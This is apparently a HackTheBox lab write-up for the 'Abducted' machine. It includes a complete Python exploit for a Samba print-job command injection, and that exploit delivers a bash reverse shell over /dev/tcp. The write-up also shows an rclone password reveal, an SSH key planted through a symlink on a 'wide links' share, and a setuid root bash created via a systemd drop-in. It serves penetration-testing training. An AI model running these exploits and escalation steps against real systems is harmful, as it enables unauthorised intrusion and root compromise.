



HACKTHEBOX



Abducted

2nd Jun 2026

Prepared By: TheCyberGeek

Machine Authors: TheCyberGeek & kavigihan

Difficulty: **Medium**

Synopsis

Abducted is a medium-difficulty Linux machine built around the on-premise file and print server of a professional-services firm. The Samba installation is vulnerable to a print-subsystem command injection (CVE-2026-4480): the client-supplied print job name is passed to the configured `print command` without escaping, and a crafted job submitted over the spooler protocol yields code execution as the print service account. An offsite-backup configuration is then recovered and its password decoded with `rclone`'s own tooling, which has been reused for a system account. A second Samba share configured with `force user` and `wide links` is abused to write an SSH key into a second user's home directory. That user belongs to a group that has been delegated management of the Samba service through `polkit`, and a service drop-in is used to execute a command as `root`.

Skills Required

- SMB Enumeration
- Identifying Service Versions

Skills Learned

- Samba print job name Command Injection (CVE-2026-4480)
- Decoding `rclone` Obscured Credentials
- Abusing Samba `force user` + `wide links`

- Privilege Escalation via a polkit-delegated systemd service

Enumeration

Let's start enumeration with an `Nmap` scan.

```
$ nmap -sSVC --open -Pn 10.129.244.177
<SNIP>
PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          OpenSSH 9.6p1 Ubuntu 3ubuntu13.9 (Ubuntu Linux; protocol 2.0)
139/tcp    open  netbios-ssn Samba smbd 4
445/tcp    open  netbios-ssn Samba smbd 4
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

No web service is present. The host exposes `ssh` and a `samba` server. Listing the shares anonymously shows file shares and a printer.

```
$ smbclient -L //10.129.244.177 -N

Sharename      Type      Comment
-----
HP-Reception   Printer   Reception printer
projects        Disk      Hartley Group Project Files
transfer        Disk      Staff file transfer
IPC$           IPC       IPC Service (Hartley Group Document Services)
```

The `projects` and `transfer` shares reject anonymous access, but the `HP-Reception` share allows guest printing. The server identifies itself through the SMB protocol negotiation.

```
$ rpcclient -U "" -N 10.129.244.177 -c "srvinfo"
10.129.244.177 Wk Sv PrQ Unx NT SNT Hartley Group Document Services
platform_id      :      500
os version       :      6.1
server type      :      0x809a03
```

Pinning the exact Samba build remotely is not really possible. The `SMB2` negotiation does not carry a package version, and `rpcclient srvinfo` reports a hardcoded `os version 6.1` rather than the real release. The most we can infer is the rough age of the host, from the `OpenSSH` banner and the `Ubuntu` release it belongs to, which only places the server somewhere below the May 2026 Samba security release. That release fixed a whole batch of issues in one go (reparse-point access checks, `vfs_worm`, GPO certificate handling, WINS, and the printing RCE among them), so the version alone does not single out [CVE-2026-4480](#).

What singles it out is the exposed surface. Of that batch, the print-command injection is the only one reachable from an unauthenticated position on this host. The others need an Active Directory domain controller, a WINS server, the `vfs_worm` VFS module, or authenticated file operations, none of which this server presents. A guest-accessible printer share is exactly the precondition the printing RCE needs, and it is sitting in the share list. We cannot read `smb.conf` to confirm the `print command` uses `%J`, so this is a hypothesis we confirm by behaviour rather than by banner, which we will do below with an out-of-band probe before committing to a payload.

Foothold

CVE-2026-4480 is a command injection in the Samba print subsystem. After a print job finishes spooling, Samba runs the configured `print command` through a `system()` call, substituting its macros into the string verbatim.

`%s` becomes the spool file path and `%J` becomes the job name as supplied by the client. Because `%J` is attacker-controlled and the result is handed straight to a shell, a `print command` that references `%J` unquoted is a shell-injection sink. A guest may submit print jobs, so the issue is unauthenticated. The substitution happens in `generic_job_submit()` in `source3/printing/print_generic.c`: Samba takes the `print command`, replaces `%J` with the client-supplied job name and runs the result through the shell.

Before the fix, the only sanitization applied to that name was a single substitution that turned the single-quote character `'` into `_`, and nothing else. So `|`, `;`, spaces, `<`, `>` and `&` all reach the shell intact. The job name arrives from the spooler service (`rpcd_spoolssd`) as the document name of a submitted job, which is why any client able to queue a print job can reach it.

Only print backends that actually run a `print command` are affected: `printing = cups` and `printing = iprint` route through the CUPS API and are safe, while this host uses `printing = sysv`. Samba fixed the flaw in 4.22.10, 4.23.8 and 4.24.3 by masking shell-unsafe characters and single-quoting `%J`.

Constructing the exploit

The first instinct is to set a job name with a normal client, but that path is a dead end. When a job is queued through `smbclient / smbpool` the name travels over the legacy RAP print interface, which sanitizes shell metacharacters to `_` before they ever reach `%J`. `smbclient -c` also splits its command list on `;`. To reach the vulnerable substitution with useful characters, we have to talk to the spooler RPC interface (`spoolss`) directly, which is exactly what the Samba Python bindings expose.

A print job over `spoolss` is a fixed sequence of calls. The job name, the value that lands in `%J`, is the `document_name` field passed to `StartDocPrinter`, and the file content (`%s`) is whatever we hand to `WritePrinter`:

```
OpenPrinter      -> obtain a handle to the \\target\HP-Reception share
StartDocPrinter  -> begin a job; sets document_name (this becomes %J)
StartPagePrinter
WritePrinter      -> the spool file body (this becomes %s)
EndPagePrinter
EndDocPrinter     -> job completes -> smbd runs the print command
ClosePrinter
```

We'll build this up one piece at a time. First, load the Samba parameters and bind to the `spoolss` named pipe. The `HP-Reception` share allows guests, so anonymous credentials are sufficient; the whole exploit is unauthenticated:

```

from samba.dcerpc import spoolss
from samba.param import LoadParm
from samba.credentials import Credentials

lp = LoadParm(); lp.load_default()
creds = Credentials(); creds.guess(lp); creds.set_anonymous()
iface = spoolss.spoolss(r"ncacn_np:%s[\pipe\spoolss]" % RHOST, lp, creds)

```

Next, open a handle to the printer. `OpenPrinter` takes the `UNC` name of the share, an (empty) datatype, a device-mode container and an access mask. `PRINTER_ACCESS_USE` (`0x00000008`) is all a normal client needs to submit a job:

```

h = iface.OpenPrinter("\\\\%s\\HP-Reception" % RHOST, "", spoolss.DevmodeContainer(),
0x00000008)

```

Now the injection itself. `StartDocPrinter` expects a `DocumentInfoCtr` describing the job. The document name is the payload for `%J`. Recall the configured command is `print command = /usr/local/bin/printaudit %J %s`; with a document name of `|sh` the command Samba executes becomes:

```

/usr/local/bin/printaudit | sh <spoolfile>

```

So the spool file is fed to `sh` and run as a script, and the spool file body has no character restrictions at all. One binding quirk worth noting: the `DocumentInfo` union cannot be instantiated directly, so we populate a `DocumentInfo1` (level 1) and assign it to the container's `info` member after setting `level = 1`:

```

i1 = spoolss.DocumentInfo1()
i1.document_name = "|sh"          # lands in %J
i1.output_file = None
i1.datatype = "RAW"

ctr = spoolss.DocumentInfoCtr()
ctr.level = 1
ctr.info = i1

```

This is a blind injection. The print command runs server-side and returns nothing to us. So before sending a real payload, we confirm execution out-of-band. The spool body is executed as a shell script, so a harmless callback proves the bug without yet dropping a shell. We point the body at an ICMP ping back to our `tun0` address and watch the wire:

```

i1.document_name = "|sh"
DATA = b"ping -c 3 10.10.14.100\n"

```

```

$ sudo tcpdump -ni tun0 icmp and host 10.129.244.177

```

If `echo requests` arrive from the target, the spool body ran, which confirms unauthenticated code execution and validates the hypothesis from enumeration. Only then do we swap the body for a reverse shell.

That body carries the actual command, and two details matter: The job must be non-empty, Samba skips the print command entirely for a zero-byte spool file, and the payload must detach. The `print` command runs synchronously inside the `EndDocPrinter` call, so a foreground reverse shell would block `smbd` and hang (and time out) the RPC. Wrapping the connect-back in `setsid ... &` lets the print command return immediately while the shell keeps running:

```
DATA = ("setsid bash -c 'bash -i >& /dev/tcp/%s/%d 0>&1' >/dev/null 2>&1 &\n" % (LHOST, LPORT)).encode()
```

Finally, drive the job through its lifecycle. `EndDocPrinter` is the call that triggers the `print` command on the server:

```
iface.StartDocPrinter(h, ctr)
iface.StartPagePrinter(h)
iface.WritePrinter(h, DATA, len(DATA))
iface.EndPagePrinter(h)
iface.EndDocPrinter(h)
iface.ClosePrinter(h)
```

Assembling the pieces gives the complete exploit:

```
# exploit.py
#!/usr/bin/env python3
from samba.dcerpc import spoolss
from samba.param import LoadParm
from samba.credentials import Credentials

RHOST, LHOST, LPORT = "10.129.244.177", "10.10.14.100", 4444
DATA = ("setsid bash -c 'bash -i >& /dev/tcp/%s/%d 0>&1' >/dev/null 2>&1 &\n" % (LHOST, LPORT)).encode()

lp = LoadParm(); lp.load_default()
creds = Credentials(); creds.guess(lp); creds.set_anonymous()
iface = spoolss.spoolss(r"ncacn_np:%s[\pipe\spoolss]" % RHOST, lp, creds)

h = iface.OpenPrinter("\\\\%s\HP-Reception" % RHOST, "", spoolss.DevmodeContainer(),
0x00000008)
i1 = spoolss.DocumentInfo1(); i1.document_name = "|sh"; i1.output_file = None; i1.datatype = "RAW"
ctr = spoolss.DocumentInfoCtr(); ctr.level = 1; ctr.info = i1
iface.StartDocPrinter(h, ctr)
iface.StartPagePrinter(h); iface.WritePrinter(h, DATA, len(DATA))
iface.EndPagePrinter(h); iface.EndDocPrinter(h); iface.ClosePrinter(h)
print("[+] job submitted")
```

We start a listener, run the exploit, and catch a shell as the print service account.

```
$ nc -lvnp 4444
$ python3 exploit.py
[+] job submitted

connect to [10.10.14.100] from (UNKNOWN) [10.129.244.177]
id
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
```

Enumerating the host, an offsite backup job is configured under `/opt/offsite-backup`, and its `rclone` configuration is world-readable.

```
nobody@abducted:/$ cat /opt/offsite-backup/rclone.conf
[offsite]
type = sftp
host = backup.hartley-group.internal
user = svc-backup
pass = HZKAxfnMj-nLm59X9gpcC2ohjQL-WqVT6yRsNw
shell_type = unix
```

`rclone` does not encrypt these passwords, it only "obscures" them in a reversible `base64` encoding that `rclone` itself can decode. So the tool will hand us back the plaintext.

```
nobody@abducted:/$ rclone reveal HZKAxfnMj-nLm59X9gpcC2ohjQL-WqVT6yRsNw
iXzvcib3SrpZ
```

The recovered password has been reused for the `scott` account, giving `ssh` access and the user flag.

```
$ ssh scott@10.129.244.177
scott@abducted:~$ id
uid=1000(scott) gid=1001(scott) groups=1001(scott)
scott@abducted:~$ cat user.txt
<REDACTED>
```

Privilege Escalation

scott → marcus

Reading the Samba configuration, the `transfer` share stands out. It is configured with `force user = Marcus`. So once a client connects, every file operation through the share runs as `marcus` (including using `marcus`'s primary group) regardless of which user authenticated, together with `wide links`, while the global section sets `unix extensions = no` and `allow insecure wide links = yes`. `wide links` lets Samba follow symbolic links that point outside the shared directory tree. Samba normally disables it while `Unix` extensions are enabled, but `allow insecure wide links` overrides that protection, which is exactly the configuration here.

```
scott@abducted:~$ cat /etc/samba/shares.conf
<SNIP>
[transfer]
    comment = Staff file transfer
    path = /srv/transfer
    valid users = scott
    force user = marcus
    read only = no
    wide links = yes
    browseable = yes

scott@abducted:~$ grep -E 'unix extensions|wide links' /etc/samba/smb.conf
    unix extensions = no
    allow insecure wide links = yes
```

scott owns /srv/transfer on disk, so a symbolic link can be planted pointing at marcus's home directory. With wide links enabled, Samba follows the link out of the share; and because of force user, anything written through it is created and owned by marcus. This is enough to drop an authorized_keys file into ~marcus/.ssh.

```
scott@abducted:~$ ssh-keygen -q -t ed25519 -N '' -f /tmp/k
scott@abducted:~$ ln -s /home/marcus /srv/transfer/mh
scott@abducted:~$ smbclient //127.0.0.1/transfer -U 'scott%iXzvcib3SrpZ' \
    -c 'mkdir mh/.ssh; put /tmp/k.pub mh/.ssh/authorized_keys'
putting file /tmp/k.pub as \mh\.ssh\authorized_keys
```

The key now belongs to marcus, so we can log in.

```
$ ssh -i /tmp/k marcus@10.129.244.177
marcus@abducted:~$ id
uid=1001(marcus) gid=1002(marcus) groups=1002(marcus),1000(operators)
```

marcus → root

marcus is a member of the operators group, the infrastructure team. Searching for files or folders the group can manage, we discover smbd.service.d.

```
marcus@abducted:~$ ls -ld /etc/systemd/system/smbd.service.d
drwxrws--- 2 root operators 4096 ... /etc/systemd/system/smbd.service.d
```

The permission bits are: drwxrws--- owned by group operators means the directory is group-writable (the s is setgid), so marcus can create files inside it. This is a systemd drop-in location. Any *.conf placed in /etc/systemd/system/smbd.service.d/ is merged into smbd.service when the unit is next loaded, and directives such as ExecStartPre= run before the main process, as the service's user. smbd runs as root, so a drop-in here is arbitrary command execution as root at service start.

Writing the file is only half of it... The change does nothing until the unit is reloaded and the service restarted, and an unprivileged user cannot normally do either to a root-owned service. So the question is, what `systemd` operations `polkit` will let a member of `operators` perform without authenticating. We walk every registered action and test each one against our own process.

```
marcus@abducted:~$ for action in $(pkaction); do
  pkcheck --action-id "$action" --process $$ 2>/dev/null && echo "ALLOWED: $action"
done
polkit\56retains_authorization_after_challenge=1
<SNIP>
polkit\56retains_authorization_after_challenge=1
ALLOWED: org.freedesktop.login1.inhibit-block-idle
ALLOWED: org.freedesktop.login1.inhibit-delay-shutdown
ALLOWED: org.freedesktop.login1.inhibit-delay-sleep
polkit\56retains_authorization_after_challenge=1
<SNIP>
polkit\56retains_authorization_after_challenge=1
ALLOWED: org.freedesktop.login1.set-self-linger
polkit\56retains_authorization_after_challenge=1
<SNIP>
polkit\56retains_authorization_after_challenge=1
ALLOWED: org.freedesktop.systemd1.reload-daemon
polkit\56retains_authorization_after_challenge=1
<SNIP>
```

Most of the `ALLOWED` lines are noise, `org.freedesktop.login1.inhibit-*` and `set-self-linger` are handed to any active local session by default. The one that matters is `org.freedesktop.systemd1.reload-daemon`, so `operators` can reload the `systemd` manager without a password. Unit management (`manage-units`) does not appear, and that is expected rather than reassuring: the rule granting it is conditional on the target unit (`action.lookup("unit") == "smbd.service"`), and a blanket `pkcheck` sends no `unit` detail, so the condition is never met and the check reads as denied. The grant only fires when the call carries `unit=smbd.service`, exactly as `systemctl` sends it, which is why `systemctl restart smbd` below returns without a prompt, while any other unit would ask for the root password.

Put the two findings together. The group-writable drop-in directory lets `marcus` make `smbd.service` a root process and run a command of his choosing at start-up. The `polkit` delegation lets him apply it, reloading the daemon and restarting `smbd` without authenticating. Neither is dangerous on its own, but combined they are a direct path to root.

We write a drop-in that copies `bash` and flags it `setuid root`, then reload and restart the service to trigger it.

```
marcus@abducted:~$ cat > /etc/systemd/system/smbd.service.d/override.conf <<'EOF'
[Service]
ExecStartPre=/bin/cp /bin/bash /tmp/.rb
ExecStartPre=/bin/chmod 4755 /tmp/.rb
EOF
marcus@abducted:~$ systemctl daemon-reload
marcus@abducted:~$ systemctl restart smbd
```


systemd, running as root, executes the ExecStartPre lines and leaves a setuid bash behind.

```
marcus@abducted:~$ ls -l /tmp/.rb
-rwsr-xr-x 1 root root 1446024 ... /tmp/.rb
marcus@abducted:~$ /tmp/.rb -p -c 'id; cat /root/root.txt'
uid=1001(marcus) gid=1002(marcus) euid=0(root) groups=1002(marcus),1000(operators)
<REDACTED>
```